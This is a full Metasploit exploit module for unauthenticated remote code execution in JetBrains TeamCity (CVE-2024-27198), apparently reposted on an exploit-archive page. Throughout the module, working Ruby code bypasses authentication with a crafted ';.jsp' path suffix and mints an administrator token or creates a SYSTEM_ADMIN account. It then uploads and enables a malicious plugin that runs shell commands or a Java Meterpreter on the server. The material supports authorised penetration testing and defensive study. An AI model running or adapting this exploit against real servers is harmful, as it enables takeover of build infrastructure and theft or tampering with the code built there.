JetBrains TeamCity Unauthenticated Remote Code Execution

Related Vulnerabilities: CVE-2024-27198   CVE-2024-27199  
Publish Date: 14 Mar 2024
                							

                ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated
          attacker can leverage this to access the REST API and create a new administrator access token. This token
          can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve
          unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist
          so the exploit will instead create a new administrator account before uploading a plugin. Older version of
          TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed,
          however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code
          execution instead, as this is supported on all versions tested.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # Discovery, Analysis, Exploit
        ],
        'References' => [
          ['CVE', '2024-27198'],
          ['URL', 'https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/'],
          ['URL', 'https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/']
        ],
        'DisclosureDate' => '2024-03-04',
        'Platform' => %w[java win linux unix],
        'Arch' => [ARCH_JAVA, ARCH_CMD],
        'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account.
        # Tested against:
        # * TeamCity 2023.11.3 (build 147512) running on Windows Server 2022
        # * TeamCity 2023.11.2 (build 147486) running on Windows Server 2022
        # * TeamCity 2023.11.3 (build 147512) running on Linux
        # * TeamCity 2018.2.4 (build 61678) running on Windows Server 2016
        'Targets' => [
          [
            'Java', {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA,
              'DefaultOptions' => {
                # We execute the Java payload in a thread in the target Tomcat process. Spawn must be 0 for this to
                # happen, otherwise Spawn forces the Paylaod.java class to drop the payload to disk. For an unknown
                # reason Spawn > 0 will not work against TeamCity on Linux.
                'Spawn' => 0
              }
            }
          ],
          [
            'Java Server Page', {
              'Platform' => %w[win linux unix],
              'Arch' => ARCH_JAVA
            }
          ],
          [
            'Windows Command', {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
            }
          ],
          [
            'Linux Command', {
              'Platform' => 'linux',
              'Arch' => ARCH_CMD
            }
          ],
          [
            'Unix Command', {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        # By default TeamCity listens for HTTP requests on TCP port 8111 (Older version of the product listen on
        # port 80 by default).
        Opt::RPORT(8111),
        OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/']),
        # The first user created during installation is an administrator account, so the ID will be 1.
        OptInt.new('TEAMCITY_ADMIN_ID', [true, 'The ID of an administrator account to authenticate as', 1])
      ]
    )
  end

  # This is the authentication bypass vulnerability, allowing any authenticated endpoint to be access unauthenticated.
  def send_auth_bypass_request_cgi(opts = {})
    # The file name of the .jsp can be 0 or more characters (it just has to end in .jsp)
    vars_get = {
      'jsp' => "#{opts['uri']};#{Rex::Text.rand_text_alphanumeric(rand(8))}.jsp"
    }

    # Add in 0 or more random query parameters, and ensure the order is shuffled in the request.
    0.upto(rand(8)) do
      vars_get[Rex::Text.rand_text_alphanumeric(rand(1..8))] = Rex::Text.rand_text_alphanumeric(rand(1..16))
    end

    opts['vars_get'] ||= {}

    opts['vars_get'].merge!(vars_get)

    opts['shuffle_get_params'] = true

    opts['uri'] = normalize_uri(target_uri.path, Rex::Text.rand_text_alphanumeric(8))

    send_request_cgi(opts)
  end

  def check
    # We leverage the vulnerability to reach the /app/rest/server endpoint. If this request succeeds then we know the
    # target is vulnerable.
    server_res = send_auth_bypass_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server')
    )

    return CheckCode::Unknown('Connection failed') unless server_res

    # A patched TeamCity, e.g. 2023.11.4, reports 403 (Forbidden)
    return CheckCode::Safe if server_res.code == 403

    return CheckCode::Unknown("Received unexpected HTTP status code: #{server_res.code}.") unless server_res.code == 200

    # We can request /app/rest/debug/jvm/systemProperties and pull out the Java "os.name" property. We dont fail the
    # check routine if this request fails, as we have enough info to provide a CheckCode, however displaying the target
    # platform can help inform the user what payload target to choose (i.e. Windows or Linux).
    sysprop_res = send_auth_bypass_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'debug', 'jvm', 'systemProperties')
    )

    platform = ''

    if sysprop_res&.code == 200
      xml_sysprop_data = sysprop_res.get_xml_document

      os_name = xml_sysprop_data&.at('property[name="os.name"]')

      platform = " running on #{os_name.attr('value')}" if os_name
    end

    xml_server_data = server_res.get_xml_document

    server_data = xml_server_data&.at('server')

    version = " #{server_data.attr('version')}" if server_data

    CheckCode::Vulnerable("JetBrains TeamCity#{version}#{platform}.")
  end

  def exploit
    #
    # 1. Leverage the auth bypass to generate a new administrator access token. Older version of TeamCity (circa 2018)
    #    do not have support for access token, so we fall back to creating a new administrator account. The benefit
    #    of using an access token is we can delete it when we are finished, unlike a user account.
    #
    token_name = Rex::Text.rand_text_alphanumeric(8)

    res = send_auth_bypass_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users', "id:#{datastore['TEAMCITY_ADMIN_ID']}", 'tokens', token_name)
    )

    if res && (res.code == 404) && res.body.include?('api.NotFoundException')

      print_warning('Tokens API not found, falling back to creating an admin user.')

      token_name = nil
      token_value = nil

      http_authorization = auth_new_admin_user

      fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil?
    else
      unless res&.code == 200
        # One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
        # and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.
        if res && (res.code == 404) && res.body.include?('User not found')
          print_warning('User not found. Try setting the TEAMCITY_ADMIN_ID option to a different ID.')
        end

        fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')
      end

      # Extract the authentication token from the response.
      token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s

      fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil?

      print_status("Created authentication token: #{token_value}")

      http_authorization = "Bearer #{token_value}"
    end

    # As we have created an access token, this begin block ensures we delete the token when we are done.
    begin
      #
      # 2. Create a malicious TeamCity plugin to host our payload.
      #
      plugin_name = Rex::Text.rand_text_alphanumeric(8)

      zip_plugin = create_payload_plugin(plugin_name)

      fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil?

      #
      # 3. Upload the payload plugin to the TeamCity server
      #
      print_status("Uploading plugin: #{plugin_name}")

      message = Rex::MIME::Message.new

      message.add_part(
        "#{plugin_name}.zip",
        nil,
        nil,
        'form-data; name="fileName"'
      )

      message.add_part(
        zip_plugin.pack.to_s,
        'application/octet-stream',
        'binary',
        "form-data; name=\"file:fileToUpload\"; filename=\"#{plugin_name}.zip\""
      )

      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'admin', 'pluginUpload.html'),
        'ctype' => 'multipart/form-data; boundary=' + message.bound,
        'keep_cookies' => true,
        'headers' => {
          'Origin' => full_uri,
          'Authorization' => http_authorization
        },
        'data' => message.to_s
      )

      fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200

      #
      # 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server.
      #
      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
        'keep_cookies' => true,
        'headers' => {
          'Origin' => full_uri,
          'Authorization' => http_authorization
        },
        'vars_post' => {
          'action' => 'loadAll',
          'plugins' => plugin_name
        }
      )

      fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200

      # As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.
      begin
        #
        # 5. Begin to clean up, register several paths for cleanup.
        #
        if (install_path, sep = get_install_path(http_authorization))
          vprint_status("Target install path: #{install_path}")

          if target['Arch'] == ARCH_JAVA
            # The Java payload plugin will have its buildServerResources extracted to a path like:
            # C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ
            # So we register this for cleanup.
            # Note: The java process may recreate this a second time after we delete it.
            register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep))
          end

          if (build_number = get_build_number(http_authorization))
            vprint_status("Target build number: #{build_number}")

            # The Tomcat web server will compile our ARCH_JAVA payload and store the associated .class files in a
            # path like: C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\
            # So we register this for cleanup too. This folder will be created for a ARCH_CMD payload, although
            # it will be empty.
            register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep))
          else
            print_warning('Could not discover build number. Unable to register Catalina files for cleanup.')
          end
        else
          print_warning('Could not discover install path. Unable to register files for cleanup.')
        end

        # On a Linux target we see the extracted plugin file remaining here even after we delete the plugin.
        # /home/teamcity/.BuildServer/system/caches/plugins.unpacked/XXXXXXXX/
        if (data_path = get_data_dir_path(http_authorization))
          vprint_status("Target data directory path: #{data_path}")

          register_dir_for_cleanup([data_path, 'system', 'caches', 'plugins.unpacked', plugin_name].join(sep))
        else
          print_warning('Could not discover data directory path. Unable to register files for cleanup.')
        end

        #
        # 6. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java
        # payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin.
        #
        if target['Arch'] == ARCH_JAVA && target['Platform'] != 'java'
          res = send_request_cgi(
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"),
            'keep_cookies' => true,
            'headers' => {
              'Origin' => full_uri,
              'Authorization' => http_authorization
            }
          )

          fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200
        end
      ensure
        #
        # 7. Ensure we delete the plugin from the server when we are finished.
        #
        print_status('Deleting the plugin...')

        print_warning('Failed to delete the plugin.') unless delete_plugin(http_authorization, plugin_name)
      end
    ensure
      #
      # 8. Ensure we delete the access token we created when we are finished. If we authorized via a user name and
      #    password, we cannot delete the user account we created.
      #
      if token_name && token_value
        print_status('Deleting the authentication token...')

        print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value)
      end
    end
  end

  def auth_new_admin_user
    admin_username = Faker::Internet.username
    admin_password = Rex::Text.rand_text_alphanumeric(16)

    res = send_auth_bypass_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'),
      'ctype' => 'application/json',
      'data' => {
        'username' => admin_username,
        'password' => admin_password,
        'name' => Faker::Name.name,
        'email' => Faker::Internet.email(name: admin_username),
        'roles' => {
          'role' => [
            {
              'roleId' => 'SYSTEM_ADMIN',
              'scope' => 'g'
            }
          ]
        }
      }.to_json
    )

    unless res&.code == 200
      print_warning('Failed to create an administrator user.')
      return nil
    end

    print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")

    http_authorization = basic_auth(admin_username, admin_password)

    # Login via HTTP basic authorization and store the session cookie.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
      'keep_cookies' => true,
      'headers' => {
        'Origin' => full_uri,
        'Authorization' => http_authorization
      }
    )

    # A failed login attempt will return in a 401. We expect a 302 redirect upon success.
    if res&.code == 401
      print_warning('Failed to login with new admin user credentials.')
      return nil
    end

    http_authorization
  end

  def create_payload_plugin(plugin_name)
    if target['Arch'] == ARCH_CMD

      case target['Platform']
      when 'win'
        shell = 'cmd.exe'
        flag = '/c'
      when 'linux', 'unix'
        shell = '/bin/sh'
        flag = '-c'
      else
        print_warning('Unsupported target platform.')
        return nil
      end

      zip_resources = Rex::Zip::Archive.new

      zip_resources.add_file(
        "META-INF/build-server-plugin-#{plugin_name}.xml",
        <<~XML
          <?xml version="1.0" encoding="UTF-8"?>
          <beans xmlns="http://www.springframework.org/schema/beans"
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"
            default-autowire="constructor">
            <bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
              <constructor-arg>
                <list>
                  <value>#{shell}</value>
                  <value>#{flag}</value>
                  <value><![CDATA[#{payload.encoded}]]></value>
                </list>
              </constructor-arg>
            </bean>
          </beans>
        XML
      )
    elsif target['Arch'] == ARCH_JAVA
      # If the platform is java we can bootstrap a Java Meterpreter
      if target['Platform'] == 'java'
        zip_resources = payload.encoded_jar(random: true)

        # Add in PayloadServlet as this is implements Runable and we can run the payload in a thread.
        servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
        zip_resources.add_file('/metasploit/PayloadServlet.class', servlet)

        payload_bean_id = Rex::Text.rand_text_alpha(8)

        # We start the payload in a new thread via some Spring Expression Language (SpEL).
        bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }"

        # NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail
        # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder
        # as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we
        # choose a property that does not exist, we generate several exceptions in the teamcity-server.log.

        zip_resources.add_file(
          "META-INF/build-server-plugin-#{plugin_name}.xml",
          <<~XML
            <?xml version="1.0" encoding="UTF-8"?>
            <beans xmlns="http://www.springframework.org/schema/beans"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd">
              <bean id="#{payload_bean_id}" class="#{zip_resources.substitutions['metasploit']}.PayloadServlet"/>
              <bean class="java.beans.Encoder">
                <property name="exceptionListener" value="#{bootstrap_spel}"/>
              </bean>
            </beans>
          XML
        )
      else
        # For non java platforms with ARCH_JAVA, we can drop a JSP payload.
        zip_resources = Rex::Zip::Archive.new

        zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded)
      end

    else
      print_warning('Unsupported target architecture.')
      return nil
    end

    zip_plugin = Rex::Zip::Archive.new

    zip_plugin.add_file(
      'teamcity-plugin.xml',
      <<~XML
        <?xml version="1.0" encoding="UTF-8"?>
        <teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">
          <info>
            <name>#{plugin_name}</name>
              <display-name>#{plugin_name}</display-name>
              <description>#{Faker::Lorem.sentence}</description>
              <version>#{Faker::App.semantic_version}</version>
              <vendor>
              <name>#{Faker::Company.name}</name>
              <url>#{Faker::Internet.url}</url>
            </vendor>
          </info>
          <deployment use-separate-classloader="true" node-responsibilities-aware="true"/>
        </teamcity-plugin>
      XML
    )

    zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)

    zip_plugin
  end

  def get_install_path(http_authorization)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'),
      'keep_cookies' => true,
      'headers' => {
        'Origin' => full_uri,
        'Authorization' => http_authorization
      }
    )

    unless res&.code == 200
      print_warning('Failed to request plugins information.')
      return nil
    end

    plugins_xml = res.get_xml_document

    restapi_data = plugins_xml.at("//plugin[@name='rest-api']")

    restapi_load_path = restapi_data&.attr('loadPath')

    if restapi_load_path.nil?
      print_warning('Failed to extract plugin loadPath.')
      return nil
    end

    # C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api

    platforms = {
      '\\webapps\\ROOT\\WEB-INF\\plugins\\' => '\\',
      '/webapps/ROOT/WEB-INF/plugins/' => '/'
    }

    platforms.each do |path, sep|
      if (pos = restapi_load_path.index(path))
        return [restapi_load_path[0, pos], sep]
      end
    end

    print_warning('Failed to extract install path.')
    nil
  end

  def get_data_dir_path(http_authorization)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'dataDirectoryPath'),
      'keep_cookies' => true,
      'headers' => {
        'Origin' => full_uri,
        'Authorization' => http_authorization
      }
    )

    unless res&.code == 200
      print_warning('Failed to request data directory path.')
      return nil
    end

    res.body
  end

  def get_build_number(http_authorization)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server'),
      'keep_cookies' => true,
      'headers' => {
        'Origin' => full_uri,
        'Authorization' => http_authorization
      }
    )

    unless res&.code == 200
      print_warning('Failed to request server information.')
      return nil
    end

    xml_data = res.get_xml_document

    server_data = xml_data.at('server')

    server_data.attr('buildNumber')
  end

  def get_plugin_uuid(http_authorization, plugin_name)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
      'keep_cookies' => true,
      'headers' => {
        'Origin' => full_uri,
        'Authorization' => http_authorization
      },
      'vars_get' => {
        'item' => 'plugins'
      }
    )

    unless res&.code == 200
      print_warning('Failed to list all plugins.')
      return nil
    end

    uuid_match = res.body.match(/'#{Regexp.quote(plugin_name)}', '([a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12})'/)

    if uuid_match&.length != 2
      print_warning('Failed to grep for plugin GUID')
      return nil
    end

    uuid_match[1]
  end

  def delete_plugin(http_authorization, plugin_name)
    plugin_uuid = get_plugin_uuid(http_authorization, plugin_name)

    if plugin_uuid.nil?
      print_warning('Failed to discover enabled plugin UUID')
      return false
    end

    vprint_status("Enabled Plugin UUID: #{plugin_uuid}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
      'keep_cookies' => true,
      'headers' => {
        'Origin' => full_uri,
        'Authorization' => http_authorization
      },
      'vars_post' => {
        'action' => 'setEnabled',
        'enabled' => 'false',
        'uuid' => plugin_uuid
      }
    )

    unless res&.code == 200
      print_warning('Failed to disable the plugin.')
      return false
    end

    # The UUID changes after we disable the plugin, so we need to call get_plugin_uuid a second time.
    plugin_uuid = get_plugin_uuid(http_authorization, plugin_name)

    if plugin_uuid.nil?
      print_warning('Failed to discover disabled plugin UUID')
      return false
    end

    vprint_status("Disabled Plugin UUID: #{plugin_uuid}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
      'keep_cookies' => true,
      'headers' => {
        'Origin' => full_uri,
        'Authorization' => http_authorization
      },
      'vars_post' => {
        'action' => 'delete',
        'uuid' => plugin_uuid
      }
    )

    unless res&.code == 200
      print_warning('Failed request for plugin deletion.')
      return false
    end

    true
  end

  def delete_token(token_name, token_value)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'accessTokens.html'),
      'keep_cookies' => true,
      'headers' => {
        'Origin' => full_uri,
        'Authorization' => "Bearer #{token_value}"
      },
      'vars_post' => {
        'accessTokenName' => token_name,
        'delete' => 'true',
        'userId' => datastore['TEAMCITY_ADMIN_ID']
      }
    )

    res&.code == 200
  end

end
<p>